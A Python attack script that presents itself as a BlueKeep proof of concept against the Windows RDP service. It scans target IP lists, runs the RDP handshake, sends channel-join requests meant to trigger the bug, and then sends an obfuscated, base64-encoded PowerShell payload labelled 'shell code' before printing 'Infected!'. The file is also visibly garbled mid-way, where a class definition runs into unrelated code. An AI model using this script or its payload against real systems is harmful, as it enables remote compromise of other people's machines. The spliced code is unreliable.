import socket import binascii import argparse from OpenSSL import * from impacket.structure import Structure magic = ("706f7765727368656c6c202f772031202f432073222276207352202d3b73222276206b5920652222633b7322227620464b4e20282867222276207352292e76616c75652e746f537472696e6728292b2867222276206b59292e76616c75652e746f537472696e672829293b706f7765727368656c6c20286722227620464b4e292e76616c75652e746f537472696e6728292028274a41427241464d415051416e4143514161674253414430414a77416e414673416141424341466f414b41416f414349416251427a41485941597741694143734149674279414349414b774169414851414c67426b414777416241416941436b414b5142644148414164514269414777416151426a4143414163774230414745416441427041474d414941426c414867416441426c414849416267416741456b41626742304146414164414279414341415377426b414849414b41423141476b4162674230414341415a41423341464d4161514236414755414c4141674148554161514275414851414941426841473041627742314147344164414170414473415777426f414549415767416f414349416177426c414849416267426c414777414d7741694143734149674179414349414b774169414334415a41427341477741496741704146304163414231414749416241427041474d414941427a414851415951423041476b415977416741475541654142304147554163674275414341415351427541485141554142304148494149414243414551416377416f41456b4162674230414641416441427941434141624142774146514161414279414755415951426b41454541644142304148494161514269414855416441426c41484d414c4141674148554161514275414851414941426b4148634155774230414745415977427241464d4161514236414755414c41416741456b41626742304146414164414279414341416241427741464d41644142684148494164414242414751415a414279414755416377427a414377414941424a4147344164414251414851416367416741477741634142514147454163674268414730415a5142304147554163674173414341416451427041473441644141674147514164774244414849415a51426841485141615142764147344152674273414745415a77427a414377414941424a414734416441425141485141636741674147774163414255414767416367426c414745415a41424a414751414b514137414673416141424341466f414b414169414773415a514279414734415a51427341444d4149674172414349414d67416941437341496741754147514162414273414349414b5142644148414164514269414777416151426a4143414163774230414745416441427041474d414941426c414867416441426c414849416267416741456b416267423041464141644142794143414156674270414849416441423141474541624142514148494162774230414755415977423041436741535142754148514155414230414849414941427341484141557742304147454163674230414545415a41426b414849415a51427a41484d414c4141674148554161514275414851414941426b414863415577427041486f415a51417341434141645142704147344164414167414759416241424f414755416477425141484941627742304147554159774230414377414941427641485541644141674148554161514275414851414941426b4147674155674170414473415777426f414549415767416f414349416251427a41485941597741694143734149674279414349414b774169414851414c67426b414777416241416941436b4158514277414855415967427341476b415977416741484d4164414268414851416151426a414341415a514234414851415a514279414734414941424a41473441644142514148514163674167414730415a51427441484d415a51423041436741535142754148514155414230414849414941426b4147554163774230414377414941423141476b4162674230414341416377427941474d414c4141674148554161514275414851414941426a4147384164514275414851414b514137414363414a7741374143514161674253414430414a414271414649414c6742794147554163414273414745415977426c41436741496742434145514163774169414377414941416941454d416367426c414745416441426c414651414967417241434941614141694143734149674279414755415951426b414349414b5141374143514161674253414430414a414271414649414c6742794147554163414273414745415977426c414367414967424c4147514163674169414377414941416941474d41595141694143734149674273414349414b774169414777416277426a414349414b5141374143514161674253414430414a414271414649414c6742794147554163414273414745415977426c414367414967426f41454941576741694143774149414169414551416241427341456b4162514277414349414b77416941473841496741724143494163674230414349414b514137414351415551426b414430414967417241444d414d7741734143734151774135414377414b774132414451414c4141724144674151674173414373414e414178414377414b77417a414441414c4141724144674151674173414373414e414177414377414b77417741454d414c4141724144674151674173414373414e774177414377414b774178414451414c4141724145454152414173414373414f514132414377414b774242414551414c4141724144674151674173414373414e514134414377414b774178414441414c4141724144674151674173414373414e51417a414377414b77417a41454d414c414172414441414d774173414373415241417a414377414b774134414549414c414172414455414d674173414373414e774134414377414b77417741444d414c414172414551414d774173414373414f414243414377414b774133414449414c414172414449414d414173414373414d41417a414377414b77424741444d414c41417241444d414d7741734143734151774135414377414b774130414445414c4141724145454152414173414373414d41417a414377414b77424441444d414c414172414467414d514173414373414d774134414377414b774130414463414c414172414459414e514173414373414e774130414377414b774131414441414c414172414463414e5141734143734152674130414377414b774134414445414c414172414463414f414173414373414d414130414377414b774133414449414c4141724144594152674173414373414e67417a414377414b774130414445414c414172414463414e5141734143734152514243414377414b774134414445414c414172414463414f414173414373414d414134414377414b774132414451414c414172414459414e414173414373414e774179414377414b774132414455414c414172414463414e5141734143734152514179414377414b774134414549414c414172414463414d674173414373414d674130414377414b77417741444d414c414172414559414d774173414373414e674132414377414b774134414549414c4141724144414151774173414373414e414246414377414b77413041446b414c4141724144674151674173414373414e774179414377414b77417841454d414c414172414441414d774173414373415267417a414377414b774134414549414c414172414445414e414173414373414f414246414377414b77417741444d414c414172414551414d774173414373414d77417a414377414b77424441446b414c414172414455414d514173414373414e674134414377414b774179414555414c414172414459414e514173414373414e774134414377414b774132414455414c414172414459414f414173414373414e674130414377414b774132414455414c414172414459414d514173414373414e674130414377414b77413141444d414c414172414455414d674173414373414e514178414377414b774132414467414c414172414459414d514173414373414e774179414377414b77413341446b414c414172414451414d514173414373414e674134414377414b77413041454d414c414172414459414f514173414373414e674179414377414b774133414449414c414172414459414f414173414373414e414244414377414b774132414559414c414172414459414d514173414373414e674130414377414b774131414451414c414172414455414d7741734143734152674247414377414b774245414449414c414172414467414d7741734143734151774130414377414b77417741454d414c414172414455414f514173414373414e514177414377414b774131414445414c414172414459414e6741734143734151674135414377414b77413241454d414c4141724144594151774173414373414e514178414377414b774132414467414c4141724144594152674173414373414e674246414377414b774179414555414c414172414459414e414173414373414e674134414377414b774133414455414c414172414463414d674173414373414e674244414377414b774132414551414c414172414455414e4141734143734152674247414377414b774245414441414c414172414467414d7741734143734151774130414377414b774178414441414c4141724144674151674173414373414e514130414377414b774179414451414c414172414441414e414173414373414d77417a414377414b77424441446b414c414172414455414d514173414373414e674132414377414b77424341446b414c414172414459414e514173414373414e414178414377414b774131414445414c41417241444d414d7741734143734151774135414377414b774132414467414c4141724144594152674173414373414e414132414377414b77413241446b414c4141724144594151774173414373414e674134414377414b774132414559414c414172414459414d514173414373414e674130414377414b774131414451414c414172414459414f414173414373414e674247414377414b774133414463414c4141724144594152514173414373414e674244414377414b774132414467414c414172414455414e514173414373414e514179414377414b77413041454d414c414172414451414e414173414373414e514130414377414b774131414441414c41417241455941526741734143734152414179414377414b77417a41444d414c41417241454d414f514173414373414f414245414377414b774131414451414c414172414449414e414173414373414d674130414377414b774131414445414c414172414455414d514173414373414e514179414377414b774246414549414c414172414451414e774173414373414e514178414377414b774247414559414c414172414551414d414173414373414f41417a414377414b774244414451414c4141724144454151774173414373414d77417a414377414b77424441446b414c4141724144554151514173414373414e514243414377414b77413141444d414c414172414455414d674173414373414e514178414377414b774132414467414c414172414463414f414173414373414e674131414377414b77413241444d414c414172414459414d514173414373414f414134414377414b77413041454d414c414172414449414e414173414373414d41417a414377414b774132414467414c414172414455414e774173414373414e674135414377414b774132414555414c414172414451414e514173414373414e514130414377414b77413141444d414c41417241455941526741734143734152414179414377414b774132414545414c414172414441414e514173414373414f414245414377414b77413041454d414c414172414449414e414173414373414d514134414377414b774131414445414c41417241455941526741734143734152414177414377414b77413441444d414c41417241272b27454d414e414173414373414d414244414377414b774131414545414c4141724144554151674173414373414e674134414377414b774132414455414c414172414463414d774173414373414e77417a414377414b774132414445414c414172414467414d774173414373414e674244414377414b774179414451414c414172414441414d774173414373414e674178414377414b774132414467414c414172414455414d414173414373414e774179414377414b774132414559414c414172414459414d774173414373414e674134414377414b774130414455414c414172414463414f414173414373414e674135414377414b774133414451414c414172414455414e414173414373414e51417a414377414b774247414559414c414172414551414d6741734143734152674247414377414b774245414441414c414172414555414f4141734143734151674130414377414b774247414559414c41417241455941526741734143734152674247414377414b774132414467414c414172414463414e414173414373414e774130414377414b774133414441414c41417241444d4159514173414373414d67426d414377414b774179414759414c414172414459414e674173414373414e674135414377414b774132414755414c4141724144594159774173414373414e674135414377414b774133414451414c414172414459414e514173414373414e774134414377414b774179414755414c414172414459414d774173414373414e67426d414377414b774132414751414c414172414449415a674173414373414e774133414377414b774133414441414c414172414449415a414173414373414e674131414377414b774133414449414c414172414463414d674173414373414e67426d414377414b774133414449414c414172414463414d774173414373414d67426d414377414b77413141444d414c414172414459414f414173414373414e67426d414377414b77413241444d414c4141724144594159674173414373414d67426c414377414b774132414455414c414172414463414f414173414373414e674131414377414b77417741444141496741374143514152674243414430415151426b414751414c51425541486b416341426c414341414c514277414745416377427a414341414c514274414341414a4142714146494149414174414534415951427441475541494141694148634162414169414341414c514275414745416251426c41484d414941425541457741574141374143514152674243414430414a414247414549414c6742794147554163414273414745415977426c41436741496742554145774157414169414377414941416941466341615141694143734149674275414349414b77416941444d414d674247414855416267426a4148514161514276414734416377416941436b414f77426241474941655142304147554157774264414630414a4142524147514149414139414341414a414252414751414c6742794147554163414273414745415977426c4143674149674172414349414c41416941476741534142484148674149674170414334416367426c414841416241426841474d415a51416f414349416141424941456341496741734143414149674177414349414b51417541464d416341427341476b416441416f414349414c41416941436b414f77416b41486b41597741394144414165414178414441414d414134414473416151426d414341414b41416b414645415a414175414577414941417441476341644141674144414165414178414441414d41413441436b416577416b41486b4159774139414351415551426b4143344154414239414473414a414247414573415051416b414559415167413641446f4159774268414777416241427641474d414b414177414867414d514177414441414f414173414341414d514170414473415777425641456b4162674230414459414e414264414351415a41426f4146494149414139414341414d4141374147594162774279414367414a4142484145384150514177414473414a4142484145384149414174414777415a51416f414351415551426b414334415441426c414734415a774230414767414c51417841436b414f77416b4145634154774172414373414b514237414351415267424341446f414f674274414755416251427a414755416441416f41467341535142754148514155414230414849415851416f414351415267424c414334415641427641456b416267423041444d414d67416f41436b414b77416b4145634154774170414377414941416b414645415a4142624143514152774250414630414c414167414445414b514239414473414a414247414549414f674136414659416151427941485141645142684147774155414279414738416441426c41474d416441416f414351415267424c4143774149414177414867414d514177414441414f414173414341414d414234414451414d4141734143414157774253414755415a674264414351415a41426f414649414b514137414351415267424341446f414f674244414849415a514268414851415a514255414767416367426c414745415a41416f414441414c414177414867414d414177414377414a414247414573414c414177414377414d414173414441414b514137414363414f77416b41484541564141394146734151774276414734416467426c414849416441426441446f414f674255414738415167426841484d415a51413241445141557742304148494161514275414763414b414262414651415a514234414851414c67424641473441597742764147514161514275414763415851413641446f415651427541476b4159774276414751415a514175414563415a5142304145494165514230414755416377416f414351416177425441436b414b514137414351416367426d4144304149674277414738416477426c414849416377426f4147554162414273414349414f77416b41465941576741394143494156774270414734415a4142764148634163774169414473414a41424e414777415a674167414430414941416941454d414f6742634143514156674261414677416377423541484d4164774276414863414e674130414677414a41425741466f414a4142794147594158414232414445414c674177414677414a414279414759414967413741476b415a67416f41467341535142754148514155414230414849415851413641446f415577427041486f415a514167414330415a514278414341414f414170414873414a41427941475941505141674143514154514273414759416651413741435141516742334143414150514167414349414941416b414849415a674167414330416267427641475541654142704148514149414174414755414941416b4148454156414169414473416151426c414867414941416b414549416477413d2729") # impacket structures class TPKT(Structure): commonHdr = ( ('Version', 'B=3'), ('Reserved', 'B=0'), ('Length', '>H=len(TPDU)+4'), ('_TPDU', '_-TPDU', 'self["Length"]-4'), ('TPDU', ':=""'), ) class TPDU(Structure): commonHdr = ( ('LengthIndicator', 'B=len(VariablePart)+1'), ('Code', 'B=0'), ('VariablePart', ':=""'), ) def __init__(self, data=None): Structure.__init__(self, data) self['VariablePart'] = '' class CR_TPDU(Structure): commonHdr = ( ('DST-REF', '") tls.sendall(DoPduConnectionSequence().mcs_connect_init_pdu()) returned_packet = tls.recv(8000) info( "<-- received {} bytes from host: {}".format(hex(len(returned_packet)), ip)) # erect domain and attach user to domain info("sending Client MCS Domain Request PDU packet -->") tls.sendall(DoPduConnectionSequence().domain_request_pdu()) info("sending Client MCS Attach User PDU request packet -->") tls.sendall(DoPduConnectionSequence( ).mcs_attach_user_request_pdu()) returned_packet = tls.recv(8000) info( "<-- received {} bytes from host: {}".format(hex(len(returned_packet)), ip)) # send join requests on ridiculously high channel numbers to trigger the bug info("sending MCS Channel Join Request PDU packets -->") pdus = DoPduConnectionSequence().do_join_request() for pdu in pdus: tls.sendall(pdu) channel_number = int(Packer(pdu).bin_pack()[-4:], 16) returned_packet = tls.recv(1024) info("<-- received {} bytes from channel {} on host: {}".format( hex(len(returned_packet)), channel_number, ip )) # my personal favorite is the security exchange, took me awhile to figure this one out info("sending Client Security Exhcange PDU packets -->") tls.sendall(DoPduConnectionSequence( ).do_client_security_pdu_exchange()) tls.sendall(DoPduConnectionSequence().client_info_pdu()) returned_packet = tls.recv(8000) info("<-- received {} bytes from host: {}".format( hex(len(returned_packet)), ip )) # confirm that the client is now active confirm_packet = ( "0300026302f08064000703eb70825454021300f003ea030100ea0306003e024d5354534300170000000100180001000300000" "2000000001d04000000000000000002001c00200001000100010080073804000001000100001a010000000300580000000000" "0000000000000000000000000000000001001400000001000000aa00010101010100000101010001000000010101010101010" "1000101010000000000a1060600000000000084030000000000e404000013002800030000037800000078000000fc09008000" "000000000000000000000000000000000000000a0008000600000007000c00000000000000000005000c00000000000200020" "008000a0001001400150009000800000000000d005800910020000904000004000000000000000c0000000000000000000000" "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "000000000000c000800010000000e0008000100000010003400fe000400fe000400fe000800fe000800fe001000fe002000fe" "004000fe008000fe0000014000000800010001030000000f0008000100000011000c00010000000028640014000c000100000" "00000000015000c0002000000000a00011a000800af9400001c000c0012000000000000001b00060001001e00080001000000" "18000b0002000000030c001d005f0002b91b8dca0f004f15589fae2d1a87e2d6010300010103d4cc44278a9d744e803c0ecbe" "ea19c54053100310000000100000025000000c0cb080000000100c1cb1d00000001c0cf020008000001400002010101000140" "0002010104" ) info("sending Client Confirm Active PDU packet -->") tls.sendall(Packer(confirm_packet).bin_unpack()) returned_packet = tls.recv(1024) info( "<-- received {} bytes from host: {}".format(hex(len(returned_packet)), ip)) # finish the connection sequence info("sending Client Synchronization PDU packet -->") tls.sendall(DoPduConnectionSequence().client_synchronization_pdu()) info("sending Client Control Cooperate PDU packet -->") tls.sendall(DoPduConnectionSequence( ).client_control_cooperate_pdu()) info("sending Client Control Requesr PDU packet -->") tls.sendall(DoPduConnectionSequence().client_control_request_pdu()) info("sending Client Persistent Key Length PDU packet -->") tls.sendall(DoPduConnectionSequence( ).client_persistent_key_length_pdu()) info("sending Client Font List PDU packet -->") tls.sendall(DoPduConnectionSequence().client_font_list_pdu()) info("sending shell code --->") tls.sendall(bytes(magic, "utf-8")) info("Infected!") info(ip) info(results[1]) results[1].close() except Exception as e: error("unable to connect: {}".format(e)) continue def main(): to_scan = [] opt = Parser().optparse() if opt.ipAddyList is not None: for ip in opt.ipAddyList.split(","): to_scan.append(ip) elif opt.ipAddyFile is not None: try: open(opt.ipAddyFile).close() except IOError: error("that file doesn't exist?") exit(1) with open(opt.ipAddyFile) as addresses: for address in addresses.readlines(): to_scan.append(address.strip()) else: info( "python bluekeep_poc.py [-i addy1[,addy2,...]] [-f /path/to/file]") exit(1) for scan in to_scan: info("verifying RDP service on: {}".format(scan)) check_rdp_service(scan) info("starting RDP connection on {} targets".format(len(GIS_RDP))) print("\n\n") start_rdp_connection(GIS_RDP) if __name__ == "__main__": print("""\033[34m ____ _ _ __ | _ \| | | |/ / | |_) | |_ _ ___| ' / ___ ___ _ __ | _ <| | | | |/ _ \ < / _ \/ _ \ '_ \ | |_) | | |_| | __/ . \ __/ __/ |_) | |____/|_|\__,_|\___|_|\_\___|\___| .__/ | | |_| \033[0m""") main()